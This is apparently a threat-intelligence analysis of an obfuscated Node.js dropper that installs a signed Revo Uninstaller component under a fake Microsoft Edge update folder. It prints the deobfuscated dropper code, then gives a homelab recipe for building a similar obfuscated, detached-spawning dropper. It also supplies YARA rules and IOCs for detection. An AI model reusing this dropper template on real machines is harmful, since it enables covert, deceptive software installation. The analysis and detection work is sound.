typeanalysisfamilyletsdiskusscomconfidencemediumcreated2026-06-13updated2026-06-13scriptnodejsobfuscationevasionjavascript-obfuscatormalware-familyloader
SHA-256: 9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34

letsdiskusscom: 9dc2cded — Node.js string-array dropper with signed Revo Uninstaller payload

Executive Summary

A 1.8 MB Node.js script obfuscated with javascript-obfuscator string-array rotator. At runtime it creates a fake Microsoft Edge Updates Helper directory under %ProgramData%, drops four base64-embedded PE files (three signed Microsoft VC++ runtime DLLs and a 52 KB signed Revo Uninstaller Pro component), then silently spawns the EXE via child_process.spawn with detached: true and stdio: 'ignore'. No C2, no download — a fully self-contained local installer masquerading as a browser update. ^[file.txt] ^[triage.json]

What It Is

  • File: 9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34.js (1,799,191 bytes) ^[exiftool.json]
  • Format: JavaScript source, ASCII text, single line (65,536 char wide line, no terminators) ^[file.txt]
  • Obfuscator: javascript-obfuscator self-defend string-array IIFE with 14-iteration rotator keyed to parseInt() of mixed alphanumeric strings ^[floss.txt]
  • Family: letsdiskusscom (OpenCTI label letsdiskuss-com; no existing wiki entity; confidence medium — single sample, opaque label) ^[triage.json]

Embedded PE payloads (triage-carved)

Carved file SHA-256 Size Type Notes
embedded_pe_0.bin 36d8751e...eacacb 43,952 PE32+ DLL (x64) vcruntime140_1.dll, MSVC 14.27, signed Microsoft Time-Stamp Service ^[embedded_pe_0.bin]
embedded_pe_1.bin ff43e813...4c833 101,672 PE32+ DLL (x64) vcruntime140.dll, MSVC 14.27, signed Microsoft ^[embedded_pe_1.bin]
embedded_pe_2.bin 8b94af60...7fc55f 52,400 PE32+ EXE (x64) RevoSrp.pdb, MSVC 14.44, signed DigiCert (Revo Uninstaller Pro component) ^[embedded_pe_2.bin]
embedded_pe_3.bin 4fcc9503...87ad73 1,149,952 PE32+ DLL (x64) msvcp140.dll, MSVC 14.27, signed Microsoft ^[embedded_pe_3.bin]

All four match the base64 blobs in the JS string array exactly by decoded byte count. ^[strings.txt] ^[deobfuscated_strings.txt]

How It Works

String-array obfuscation

The script defines const _0x566614 = ['...', '...', ...] with 21 elements. A self-defending IIFE immediately rotates the array 14 positions by evaluating a parseInt()-based expression against a hardcoded target (0xc8e17 / 822,551). The rotator shifts the array until the expression matches, then exits. This is stock javascript-obfuscator self-defend behavior. ^[strings.txt:1-100]

Payload execution

After deobfuscation, the effective code reduces to:

const fs = require('fs');
const folder = 'C:\\ProgramData\\Microsoft Edge Updates Helper mJ2r8wC3PVxS';
fs.mkdirSync(folder, {recursive: true});
fs.writeFileSync(folder + '\\Microsoft Edge Updates Helper.exe', Buffer.from(base64_exe, 'base64'));
fs.writeFileSync(folder + '\\msvcp140.dll',       Buffer.from(base64_msvcp, 'base64'));
fs.writeFileSync(folder + '\\vcruntime140.dll',   Buffer.from(base64_vcrt, 'base64'));
fs.writeFileSync(folder + '\\vcruntime140_1.dll', Buffer.from(base64_vcrt1, 'base64'));
require('child_process').spawn(
  folder + '\\Microsoft Edge Updates Helper.exe',
  [],
  {shell: false, stdio: 'ignore', detached: true}
).unref();

No command-line arguments, no network fetch, no registry modification. The detached: true + unref() ensures the Node.js parent can exit immediately while the child persists. stdio: 'ignore' suppresses console output. ^[strings.txt:1-500] ^[deobfuscated_strings.txt]

Anti-analysis

  • Self-defending IIFE: The rotator expression includes parseInt() calls on array elements. If a deobfuscator rewrites the array or reorders elements, the IIFE will infinite-loop, hanging the analysis engine. This is a standard javascript-obfuscator countermeasure. ^[floss.txt]
  • Single-line file: The entire script is one line with no line terminators, defeating naive grep and diff tools that expect line-oriented input. ^[file.txt]
  • Masquerade path: Microsoft Edge Updates Helper with a random suffix (mJ2r8wC3PVxS) mimics legitimate browser update infrastructure. ^[strings.txt]

C2 Infrastructure

None observed. The script is fully self-contained. All payloads are base64-embedded; no HTTP/HTTPS, DNS, or socket references recovered. C2 is therefore not applicable for this sample. If the Revo EXE itself phones home at runtime, that would require dynamic detonation of the PE (not the JS carrier). ^[strings.txt] ^[dynamic-analysis.md]

Interesting Tidbits

  • The embedded EXE is a legitimate signed Revo Uninstaller Pro component (RevoSrp.pdb, DigiCert signature). The threat is not the payload itself but the silent, deceptive installation vector. ^[embedded_pe_2.bin]
  • The VC++ runtime DLLs are the exact versions required by the Revo EXE (MSVC 14.27/14.44). The dropper bundles its own dependency tree, ensuring the payload runs even on a clean system without the VC++ redistributable. ^[embedded_pe_0.bin] ^[embedded_pe_1.bin] ^[embedded_pe_3.bin]
  • The base64 blobs are not URL-safe encoding (standard + and / alphabet), which is why the string array contains base64 as a literal token to be passed to Buffer.from(..., 'base64'). ^[deobfuscated_strings.txt]
  • The script filename (9dc2cded...js) is raw SHA-256 from the MalwareBazaar ingestion, not a social-engineering lure. The delivery mechanism (ZIP, MSI, etc.) that presented this .js to the victim is unknown.
  • No package.json, no node_modules — this is a standalone .js file intended to run under the victim's installed Node.js runtime, or possibly bundled with a Node.js portable distribution.

How To Mess With It (Homelab Replication)

Goal: Build a comparable Node.js dropper with javascript-obfuscator obfuscation and verify the triage pipeline fingerprints it similarly.

  1. Create a benign payload (e.g., a signed EXE or a simple calc.exe copy).
  2. Base64-encode the payload and any required DLLs:
    base64 -w 0 payload.exe > payload.b64
    
  3. Write the carrier:
    const fs = require('fs');
    const cp = require('child_process');
    const folder = 'C:\\ProgramData\\FakeUpdate\\' + Math.random().toString(36).slice(2);
    fs.mkdirSync(folder, {recursive: true});
    fs.writeFileSync(folder + '\\payload.exe', Buffer.from('BASE64_HERE', 'base64'));
    cp.spawn(folder + '\\payload.exe', [], {shell: false, stdio: 'ignore', detached: true}).unref();
    
  4. Obfuscate with javascript-obfuscator:
    npm install -g javascript-obfuscator
    javascript-obfuscator carrier.js --output obf.js \
      --string-array true \
      --string-array-rotate true \
      --self-defending true \
      --compact true \
      --control-flow-flattening false
    
  5. Verification: Run file obf.js — should report JavaScript source, ASCII text, with very long lines. Run strings -n 8 obf.js | grep -c 'TVqQAAM' — should hit ≥1 for each embedded PE header. The triage script should carve the same PE count.

Deployable Signatures

YARA — Node.js string-array dropper with embedded PE

rule NodeJS_StringArray_PEBase64_Dropper
{
    meta:
        description = "Node.js dropper with javascript-obfuscator string array and base64-embedded PE payload"
        author = "PacketPursuit"
        date = "2026-06-13"
        hash = "9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34"
    strings:
        $a1 = "const _0x566614=['" ascii
        $a2 = "javascript-obfuscator" ascii wide
        $b1 = "require('fs')" ascii
        $b2 = "require('child_process')" ascii
        $b3 = "Buffer.from(" ascii
        $b4 = "base64ToFile" ascii
        $c1 = "mkdirSync(folder,{'recursive':!![]})" ascii
        $c2 = "detached":!![]})['unref']()" ascii
        $pe_hdr = "TVqQAAMAAAAEAAAA//8AALg" base64
    condition:
        filesize > 100KB and filesize < 5MB and
        (2 of ($a*) or $a1) and
        (2 of ($b*) or $b4) and
        $pe_hdr
}

IOC list

Indicator Value Type
SHA-256 (carrier) 9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34 Hash
SHA-256 (embedded EXE) 8b94af60bb58bc1629edb3b4f6a86ccff5769bb9b96d8826f06686af2d7fc55f Hash
SHA-256 (embedded MSVCP140) 4fcc9503f259c87cc21269ee8982ea10a714040b995b1a201c1be8205787ad73 Hash
Install path C:\ProgramData\Microsoft Edge Updates Helper mJ2r8wC3PVxS\ Path
Dropped EXE name Microsoft Edge Updates Helper.exe Filename
Spawn API child_process.spawn(..., {detached: true, stdio: 'ignore'}) API
Node.js modules fs, child_process JS modules

Behavioral fingerprint

On execution, a Node.js process (node.exe or wscript.exe if bundled) creates a deeply nested directory under %ProgramData% with a name mimicking a browser update helper, writes four files (one EXE + three DLLs), and spawns the EXE as a detached child process with standard I/O redirected to ignore. The parent Node.js process exits immediately (unref()). No network connections are initiated by the carrier script. Detection focus: file-system writes to %ProgramData%\Microsoft Edge* by a Node.js process, followed by a child process creation from that directory.

Detection Signatures

MITRE ATT&CK Technique Evidence
T1059.007 Command and Scripting Interpreter: JavaScript Node.js script execution, require('child_process') ^[strings.txt]
T1027.002 Obfuscated Files or Information: Software Packing javascript-obfuscator string-array rotator with self-defend IIFE ^[strings.txt]
T1204.002 User Execution: Malicious File Requires victim to run .js file (delivery vector unknown)
T1543.003 Create or Modify System Process: Windows Service Not observed in carrier; potential if Revo EXE elevates
T1036.005 Masquerading: Match Legitimate Name or Location Microsoft Edge Updates Helper directory name in %ProgramData% ^[strings.txt]

References

  • MalwareBazaar artifact: 9dc2cded28a0dfe75fbb36a792292d30190dc5bfe7ca0ddf9b8c82e4a0774d34
  • OpenCTI label: letsdiskuss-com
  • Related wiki: letsdiskusscom — entity page for this family/cluster
  • Related wiki: javascript-obfuscator — concept page for the obfuscation tooling

Provenance

Analysis derived from:

  • file.txt — file type identification
  • exiftool.json — metadata extraction
  • triage.json — triage pipeline classification
  • strings.txt — raw strings extraction
  • floss.txt — FireEye floss decoded strings (errored on JS input; no useful output)
  • capa.txt — Mandiant capa (errored: unsupported file format)
  • binwalk.txt — no meaningful signatures (false-positive Sega ROM)
  • rabin2-info.txt — radare2 header summary (errored: bits=0, no code)
  • dynamic-analysis.md — CAPE sandbox skipped (JavaScript source not supported)
  • Manual deobfuscation via Node.js AST extraction (deobfuscated_strings.txt)
  • Manual PE carving and signature verification via exiftool and openssl

Tool versions: file 5.44, exiftool 12.76, radare2 5.9.0, capa 7.0.1, Node.js v22.22.3.